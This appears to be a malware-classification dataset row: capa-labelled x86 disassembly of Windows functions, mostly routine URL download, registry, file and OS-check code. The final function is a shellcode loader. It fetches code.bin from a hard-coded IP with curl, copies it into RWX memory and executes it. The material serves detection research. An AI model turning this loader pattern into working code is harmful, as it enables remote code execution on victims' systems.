joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d34f
Capabilities:
Download url
Receive data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1268
call fcn.01016870
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
mov eax, dword [esi + 0x14]
cmp eax, ebx
push ebx
lea edx, [ebp - 0x1264]
mov dword [ebp - 0x1260], ebx
mov dword [ebp - 0x1264], ebx
push edx
jne 0x100d47e
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0xc]
push 0x824
lea edx, [ebp - 0x125c]
push edx
push ebx
push eax
push ecx
call sub.urlmon.dll_CoInternetCombineUrl
mov edi, eax
cmp edi, ebx
jl 0x100d504
lea eax, [ebp - 0x125c]
lea ecx, [esi + 0x24]
push eax
call fcn.0100cec5
mov edi, eax
cmp edi, ebx
jl 0x100d504
lea eax, [esi + 0x48]
push eax
push 0x10041e0
push 1
push ebx
push 0x1004260
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
cmp edi, ebx
jl 0x100d504
mov edx, dword [esi + 0xc]
mov ecx, dword [esi + 0x48]
push ebx
lea eax, [esi + 0x44]
push eax
push edx
mov dword [eax], ebx
mov edi, dword [ecx]
push ecx
call dword [edi + 0x14]
mov edi, eax
cmp edi, ebx
jl 0x100d504
mov ecx, dword [esi + 0x24]
mov eax, dword [esi + 0x48]
push ebx
lea edi, [ebp - 0x1268]
push edi
push ecx
mov dword [ebp - 0x1268], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0x14]
mov edi, eax
cmp edi, ebx
jl 0x100d504
mov edi, dword [esi + 0x44]
sub edi, dword [ebp - 0x1268]
neg edi
sbb edi, edi
and edi, 0x80004005
jl 0x100d504
mov eax, dword [esi + 0x24]
lea ecx, [esi + 4]
push ecx
push ebx
push 0x105
lea ecx, [ebp - 0x210]
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToCacheFileW
mov edi, eax
cmp edi, ebx
jl 0x100d504
lea eax, [ebp - 0x210]
lea ecx, [esi + 0x2c]
push eax
call fcn.0100cec5
jmp 0x100d4b0
mov ecx, dword [esi + 0x1c]
push 0x105
lea edx, [ebp - 0x210]
push edx
push ebx
push ecx
push eax
call sub.urlmon.dll_CoInternetCombineUrl
mov edi, eax
cmp edi, ebx
jl 0x100d504
lea eax, [ebp - 0x210]
lea ecx, [esi + 0x2c]
push eax
call fcn.0100cec5
mov edi, eax
cmp edi, ebx
jl 0x100d504
lea eax, [ebp - 0x1260]
push eax
push 0x1001d48
push 1
push ebx
push 0x1001d38
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
cmp edi, ebx
jl 0x100d504
mov eax, dword [ebp - 0x1260]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x100d504
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0x1260]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x50]
mov edi, eax
cmp edi, 0x80004005
jne 0x100d504
cmp dword [esi + 0x34], ebx
je 0x100d504
xor edi, edi
mov eax, dword [ebp - 0x1260]
cmp eax, ebx
je 0x100d51a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x1260], ebx
mov eax, dword [esi + 0x48]
cmp eax, ebx
je 0x100d52a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esi + 0x48], ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01016715
leave
ret
Function at 0x1010616
Capabilities:
Create bits job

Disassembly:
push 0x3c
mov eax, 0x101b011
call fcn.01016729
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0x10017ec
lea edi, [esi + 0xc]
mov ecx, edi
mov dword [esi], 0x100208c
mov dword [esi + 4], 0x1002080
call fcn.0100e330
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
push edi
push 0x1002384
push 0x17
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0xc]
push ebx
push 0x1002374
mov dword [esi + 0x14], eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
push 0x10022f0
lea ecx, [ebp - 0x48]
mov edi, eax
call fcn.0100c167
mov byte [ebp - 4], 1
push 0x1002228
lea ecx, [ebp - 0x2c]
call fcn.0100c167
mov byte [ebp - 4], 2
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
push edi
call fcn.0100fe89
mov byte [ebp - 4], 1
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0100b5ff
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.0100b5ff
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01016815
ret 8

Function at 0x1013d73
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x20
mov eax, 0x101bacd
call fcn.0101679c
lea eax, [ebp - 0x2c]
push eax
call fcn.01013cc4
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x1013d98
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne bl
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.0100b5ff
mov al, bl
call fcn.0101682e
ret

Function at 0x1013dc2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x20
mov eax, 0x101bacd
call fcn.0101679c
lea eax, [ebp - 0x2c]
push eax
call fcn.01013cc4
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x1013de7
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1013dfb
test al, 0x10
je 0x1013dfb
mov bl, 1
jmp 0x1013dfd
xor bl, bl
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.0100b5ff
mov al, bl
call fcn.0101682e
ret

Function at 0x1013e1a
Capabilities:
Delete file

Disassembly:
push 0x1c
mov eax, 0x101baff
call fcn.01016729
mov esi, ecx
call fcn.01013d73
test al, al
jne 0x1013e35
inc al
jmp 0x1013e70
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.01013cc4
and dword [ebp - 4], 0
cmp dword [eax + 0x18], 8
jb 0x1013e4f
mov eax, dword [eax + 4]
jmp 0x1013e52
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.0100b5ff
mov al, bl
call fcn.01016815
ret
Function at 0x1013e7b
Capabilities:
Move file

Disassembly:
push 0x1c
mov eax, 0x101baff
call fcn.01016729
mov esi, ecx
call fcn.01013e1a
test al, al
je 0x1013e96
mov al, 1
jmp 0x1013ed4
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.01013cc4
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [eax + 0x18], 8
jb 0x1013eb1
mov eax, dword [eax + 4]
jmp 0x1013eb4
add eax, 4
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
setne bl
or dword [ebp - 4], 0xffffffff
push esi
push 1
lea ecx, [ebp - 0x28]
call fcn.0100b5ff
mov al, bl
call fcn.01016815
ret

Function at 0x1014500
Capabilities:
Create directory

Disassembly:
push 0x64
mov eax, 0x101bcdd
call fcn.01016729
mov esi, ecx
call fcn.01013dc2
test al, al
je 0x101451e
mov al, 1
jmp 0x10145bb
cmp dword [esi + 0x44], 0
je 0x10145b9
mov eax, dword [esi + 0x40]
mov eax, dword [eax + 4]
add eax, 8
push eax
mov ecx, 0x1020ce0
call fcn.01013a98
test eax, eax
je 0x10145b9
lea eax, [ebp - 0x70]
push eax
mov ecx, esi
call fcn.0101448c
and dword [ebp - 4], 0
mov ecx, eax
call fcn.01014500
mov bl, al
neg bl
sbb bl, bl
inc bl
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.0101422f
test bl, bl
jne 0x10145b9
mov ecx, esi
call fcn.01013dc2
test al, al
jne 0x1014517
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.01013cc4
xor esi, esi
inc esi
mov dword [ebp - 4], esi
cmp dword [eax + 0x18], 8
jb 0x1014595
mov eax, dword [eax + 4]
jmp 0x1014598
add eax, 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
or dword [ebp - 4], 0xffffffff
push 0
push esi
lea ecx, [ebp - 0x28]
call fcn.0100b5ff
mov al, bl
jmp 0x10145bb
xor al, al
call fcn.01016815
ret
Function at 0x10145c6
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
cmp esi, edi
mov dword [ebp - 0x81c], edx
jbe 0x1014777
lea eax, [esi + esi]
cmp eax, edi
mov ecx, edx
je 0x1014603
mov byte [ecx], 0
inc ecx
dec eax
jne 0x10145fc
push edx
lea eax, [esi - 1]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, edi
je 0x1014777
cmp eax, esi
ja 0x1014777
push 0x1000
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x1014777
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push ebx
lea eax, [ebp - 0x808]
push eax
push 0x20019
push edi
mov ebx, 0x1003d00
mov dword [ebp - 0x810], edi
mov dword [ebp - 0x80c], edi
push ebx
mov edi, 0x80000002
push edi
call esi
test eax, eax
jne 0x10146b3
lea ecx, [ebp - 0x820]
push ecx
lea ecx, [ebp - 0x814]
push ecx
push eax
push eax
push 0x1003cd8
push dword [ebp - 0x808]
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x820], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10146a7
cmp dword [ebp - 0x814], eax
sete al
mov dword [ebp - 0x810], eax
push dword [ebp - 0x808]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
push 0x20019
push 0
push ebx
push edi
call esi
xor edi, edi
test eax, eax
pop ebx
jne 0x1014737
push 0x7fe
lea eax, [ebp - 0x802]
push edi
push eax
mov word [ebp - 0x804], di
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x804]
push eax
push edi
push edi
push 0x1003cc0
push dword [ebp - 0x808]
mov dword [ebp - 0x818], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x101472b
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.msvcrt.dll__wtoi]
pop ecx
mov dword [ebp - 0x80c], eax
push dword [ebp - 0x808]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x810], edi
jne 0x1014777
cmp dword [ebp - 0x80c], edi
jne 0x1014777
mov ecx, dword [ebp - 0x81c]
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, di
jne 0x1014752
sub eax, esi
sar eax, 1
push 0x5c
push ecx
mov word [ecx + eax*2 - 2], di
call dword [sym.imp.msvcrt.dll_wcsrchr]
inc eax
inc eax
pop ecx
pop ecx
je 0x1014777
mov word [eax], di
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.01016715
leave
ret 8
Function at 0x1014c04
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x214], eax
call fcn.01014b8b
test al, al
je 0x1014c35
xor al, al
jmp 0x1014cbe
and word [ebp - 0x20c], 0
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [esi + 0x38], 8
mov dword [ebp - 0x218], 0x208
jb 0x1014c68
mov eax, dword [esi + 0x24]
jmp 0x1014c6b
lea eax, [esi + 0x24]
push edi
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x210]
push ecx
push 0
push eax
mov ecx, esi
call fcn.01014b2f
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
push edi
mov ecx, esi
call fcn.01014ad3
test edi, edi
pop edi
jne 0x1014c2e
cmp dword [ebp - 0x210], 1
jne 0x1014c2e
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x20c]
push eax
call fcn.0100bf84
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.01016715
leave
ret 4

Function at 0x1014cd2
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
call fcn.01014b8b
test al, al
je 0x1014ce7
xor al, al
jmp 0x1014d35
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 8
mov edx, dword [eax + 0x14]
jb 0x1014cf8
mov eax, dword [eax + 4]
jmp 0x1014cfb
add eax, 4
cmp dword [esi + 0x38], 8
jb 0x1014d06
mov ecx, dword [esi + 0x24]
jmp 0x1014d09
lea ecx, [esi + 0x24]
push edi
lea edx, [edx + edx + 2]
push edx
push eax
push 1
push 0
push ecx
mov ecx, esi
call fcn.01014b2f
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
push edi
mov ecx, esi
call fcn.01014ad3
xor eax, eax
test edi, edi
sete al
pop edi
pop esi
pop ebp
ret 4
Function at 0x10166df
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x101e118
call fcn.010169a0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x1021250
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x101648d
cmp eax, esi
jne 0x1016480
xor esi, esi
inc esi
mov ebx, esi
jmp 0x1016490
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1016467
xor esi, esi
inc esi
mov eax, dword [0x102124c]
cmp eax, esi
jne 0x10164a3
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x10164d2
mov eax, dword [0x102124c]
test eax, eax
jne 0x10164cc
mov dword [0x102124c], esi
push 0x1001404
push 0x10013f8
call fcn.010163cc
pop ecx
pop ecx
test eax, eax
je 0x10164d2
jmp 0x10165fa
mov dword [0x1020f0c], esi
mov eax, dword [0x102124c]
cmp eax, esi
jne 0x10164f6
push 0x10013f4
push 0x10013b4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x102124c], 2
test ebx, ebx
jne 0x1016502
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1021260], 0
je 0x1016526
push 0x1021260
call fcn.0101740b
pop ecx
test eax, eax
je 0x1016526
push 0
push 2
push 0
call dword [0x1021260]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x1016582
test al, al
je 0x1016540
cmp dword [ebp - 0x1c], 0
jne 0x1016582
mov al, byte [esi]
test al, al
je 0x1016550
cmp al, 0x20
ja 0x1016550
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1016540
test byte [ebp - 0x3c], 1
je 0x101655c
movzx eax, word [ebp - 0x38]
jmp 0x101655f
push 0xa
pop eax
push eax
push esi
push 0
push 0x1000000
call main
mov dword [0x1020f08], eax
cmp dword [0x1020efc], 0
jne 0x10165d6
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x1016591
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x10165a4
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x101652d
cmp dword [0x1020f0c], 0
jne 0x10165e5
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1020f08]
jmp 0x1016606
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.010169e5
ret
call fcn.01017555
jmp 0x101642d

Function at 0x1017380
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1017393
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x101738f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x10173c0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x10173ff
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x10173f5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1017401
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x10173e5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1019594
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x20
lea eax, [ebp - 0x44]
push eax
push 8
push 0x404
mov esi, 0xc04
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10195e8
push 3
lea eax, [ebp - 0x44]
push 0x1004768
push eax
call sub.msvcrt.dll_wcsncmp
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffff800
add esi, 0xc04
mov ecx, dword [ebp - 4]
mov ax, si
xor ecx, ebp
pop esi
call fcn.01016715
leave
ret

Function at 0x101960e
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x1019667
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x11c]
xor eax, eax
dec ecx
pop esi
je 0x10196bb
dec ecx
jne 0x10196de
cmp edx, 5
jne 0x10196b3
mov ecx, dword [ebp - 0x118]
sub ecx, eax
je 0x10196af
dec ecx
je 0x10196a4
dec ecx
je 0x1019695
push 0x14
jmp 0x1019706
cmp word [ebp - 0xc], 1
jb 0x101969f
push 0x10
pop eax
or eax, 4
jmp 0x10196de
cmp word [ebp - 0xc], 2
jb 0x101969f
push 8
jmp 0x101969e
push 4
jmp 0x1019706
cmp edx, 4
ja 0x10196ea
push 2
pop eax
cmp edx, 4
jne 0x10196de
cmp dword [ebp - 0x118], 0
je 0x10196db
cmp dword [ebp - 0x118], 0xa
je 0x10196db
cmp dword [ebp - 0x118], 0x5a
jne 0x10196de
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.01016715
leave
ret
cmp edx, 6
jne 0x1019709
cmp dword [ebp - 0x118], 0
jne 0x1019709
cmp dword [ebp - 0x114], 0x1554
jae 0x1019709
push 0x40
pop eax
jmp 0x10196de
push 0x20
jmp 0x1019706
Function at 0x1019839
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1020894]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
cmp word [0x1021240], si
jne 0x10198d1
lea eax, [ebp - 0x10]
push eax
push 1
push esi
push 0x1004698
push 0x80000002
mov dword [ebp - 0x14], 6
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10198d1
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x1004750
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x10]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x10198d1
push 3
push dword [esi*8 + 0x10044e8]
lea eax, [ebp - 0xc]
push eax
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
test eax, eax
je 0x10198c3
inc esi
cmp esi, 0x1c
jb 0x10198a2
jmp 0x10198d1
mov ax, word [esi*8 + 0x10044ec]
mov word [0x1021240], ax
mov ecx, dword [ebp - 4]
mov ax, word [0x1021240]
xor ecx, ebp
pop esi
call fcn.01016715
leave
ret
Function at 0x1001fb1
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
mov ebx, 0x20019
push ebx
push 0
push 0x1001bc0
mov edi, 0x80000002
push edi
mov dword [ebp - 8], 1
call esi
test eax, eax
jne 0x1002023
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x1001be4
push dword [ebp - 4]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002014
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
je 0x1002051
lea eax, [ebp - 4]
push eax
push ebx
push 0
mov ebx, 0x1001b90
push ebx
push edi
call esi
test eax, eax
jne 0x1002051
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x1001bb8
push dword [ebp + 8]
push dword [ebp + 8]
call fcn.01002a96
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10026d1
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
call fcn.010026e0
jmp fcn.01002638

Function at 0x1002918
Capabilities:
Check os version
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x100400c]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
xor eax, eax
cmp dword [0x1004010], eax
push esi
push edi
mov dword [ebp - 0x218], eax
je 0x1002972
push 0x1004020
mov dword [0x1004010], eax
mov dword [0x1004020], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1002972
mov dword [0x1004030], 1
cmp dword [0x1004030], 2
jne 0x1002a87
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, 0x104
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001ef0
call edi
test eax, eax
je 0x10029bb
push 0x1001ee0
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
cmp dword [0x1004024], 5
jb 0x10029f5
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001e94
call edi
test eax, eax
je 0x10029f5
push 0x1001ed0
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001ec4
call edi
test eax, eax
je 0x1002a5b
push 0x1001eb4
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
je 0x1002a5b
mov dword [ebp - 0x218], 1
lea ebx, [ebp - 0x214]
push dword [ebp + 0x10]
push ebx
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x218]
pop edi
pop esi
pop ebx
call fcn.01002753
leave
ret 0xc
push 5
lea eax, [ebp - 0xc]
push eax
push 0x1001e88
call edi
test eax, eax
je 0x1002a87
push 0x1001ea4
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
cmp dword [ebp - 0x21c], ebx
je 0x1002a46
jmp 0x1002a36
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x1f8
call sym.___main
mov dword [ebp - 0x20], str.curl_http:__192.168.254.130_code.bin
mov byte [ebp - 0x29], 0
mov dword [ebp - 0x1c], 0
mov dword [esp + 4], 0x405089
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._popen
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4014f2
mov dword [esp], str.popen___failed.
call sym._perror
mov dword [esp], 1
call sym._exit
movzx eax, byte [ebp - 0x29]
mov ecx, eax
lea edx, [ebp - 0x1f5]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov byte [eax], cl
lea edx, [ebp - 0x1f5]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp], eax
call sym._putchar
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x29]
mov dword [esp], eax
call sym._fread
test eax, eax
jne 0x4014c2
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._pclose
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x1cc
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov edx, eax
lea eax, [ebp - 0x1f5]
mov ecx, 0x1cc
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret